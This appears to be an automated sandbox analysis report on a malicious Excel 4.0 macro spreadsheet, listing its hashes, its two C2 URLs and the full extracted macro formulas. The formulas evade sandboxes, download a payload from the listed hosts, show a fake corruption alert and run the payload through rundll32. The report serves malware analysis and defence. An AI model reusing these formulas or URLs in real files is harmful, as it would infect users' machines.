General

  • Target

    7f58013ac38b55147ce4c1af67929739261553b24b5e6f252cce34b25c0794f0

  • Size

    187KB

  • MD5

    fa3c123b8ce59a7ddc50085ea9babb88

  • SHA1

    f353828ca44e8c90f8eddf28bef0175dd07eaef8

  • SHA256

    7f58013ac38b55147ce4c1af67929739261553b24b5e6f252cce34b25c0794f0

  • SHA512

    0cefd48b46ec825d3c91b178db069bcbf06739ccfadf7c0344e700b0fbdfc4cbd3a7a155b801a758f0c0aaccfce3da29f4aaff57d45176254b1b042a0699271e

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://caude368.com/wp-content/themes/calliope/wp_data.php

http://caudebachthu.com/wp-content/themes/calliope/wp_data.php

Attributes
  • formulas

    =APP.MAXIMIZE() =IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),) =IF(GET.WORKSPACE(14)<390,CLOSE(FALSE),) =IF(GET.WORKSPACE(19),,CLOSE(TRUE)) =IF(GET.WORKSPACE(42),,CLOSE(TRUE)) =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE)) ="C:\Users\Public\"&RANDBETWEEN(1,9999)&".reg" ="EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security "&R[-1]C&" /y" =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe",R[-1]C,0,5) =WAIT(NOW()+"00:00:03") =FOPEN(R[-4]C) =FPOS(R[-1]C,215) =FREAD(R[-2]C,255) =FCLOSE(R[-3]C) =FILE.DELETE(R[-8]C) =IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),) ="C:\Users\Public\CVR"&RANDBETWEEN(1000,9999)&".tmp.cvr" ="http://caude368.com/wp-content/themes/calliope/wp_data.php" ="http://caudebachthu.com/wp-content/themes/calliope/wp_data.php" =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,R[-2]C,R[-3]C,0,0) =ERROR(FALSE) =FOPEN(R[-5]C,2) =IF(ISERROR(R[-1]C),,GOTO(R[2]C)) =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,R[-5]C,R[-7]C,0,0) =ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2) =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe",R[-9]C&",DllRegisterServer",0,5) =CLOSE(FALSE) =WORKBOOK.HIDE("9F9KHTWmWg",TRUE) =GOTO(C1)

Signatures

Files

  • 7f58013ac38b55147ce4c1af67929739261553b24b5e6f252cce34b25c0794f0
    .xls windows office2003